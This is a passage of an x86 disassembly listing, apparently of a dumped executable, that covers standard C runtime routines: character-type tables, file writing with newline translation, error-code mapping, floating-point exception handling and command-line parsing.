; ---------------------------------------------------------------------------


loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48B560
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48B450
		mov	dword_48B444, eax
		mov	dword_48B45C, eax
		mov	dword_48B664, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_48B444
		nop
		call	near ptr 2881220h
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h


loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx


loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_48B664
		push	dword_48B444
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_48B664
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_48B664
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_48B561[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_48B460[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------


loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_48B561[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------


loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_48B460[eax], 0


loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------


loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_48B561[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_48B460[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------


loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_48B561[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------


loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_48B460[eax], 0


loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC


loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_48B694, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_48B694, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]


loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_48B561[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76


loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0


loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]


loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_48B440
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8


loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch


loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF


loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]


loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E


loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18


loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi


loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_48A014, 9
		mov	dword_48A018, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		call	near ptr 2640A83h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------


loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		nop
		call	near ptr 2640A83h
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1


loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_48A014, 1Ch
		mov	dword_48A018, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh


loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_48A018, ecx
		mov	eax, offset dword_43BA30


loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BB98
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_48A014, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_43BA34[edx*8]
		mov	dword_48A014, eax
		retn
; ---------------------------------------------------------------------------


loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_48A014, 8
		jbe	short locret_41EFAA


loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_48A014, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------


loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_48A0C8
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_48A0C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_43BC10
		mov	edx, dword_43BC14
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BBA0h[esi*4]


loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022


loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_43BC1C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_43BC1C, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_43BC1C, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_43BC1C, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_43BC1C, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_43BC1C, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_43BC1C, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_43BC1C, 8Ah


loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_43BC1C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BC1C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------


loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_48A0C8, eax


loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------


loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 25F0696h


loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB98, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]


loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E


loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E


loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_48B694, 0
		jnz	short loc_41F13D
		call	sub_41ECF1


loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_48B68C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F


loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------


loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179


loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------


loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179


loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173


loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C


loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1


loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_48A060
		xor	edi, edi


loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi


loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------


loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_48A03C, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_48A060
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp


loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp


loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_48A060
		call	sub_417C3B
		pop	ecx
		mov	dword_48A060, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_48B690, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1


loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2650000h
		mov	eax, dword_48B68C
		mov	off_48A04C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax


loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx


loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_48A034, esi
		pop	edi
		pop	esi
		mov	dword_48A030, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C


loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------


loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi


loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax


loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C


loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387


loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0


loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0


loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C


loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB


loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------


loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------


loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------


loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi


loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1


loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx


loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
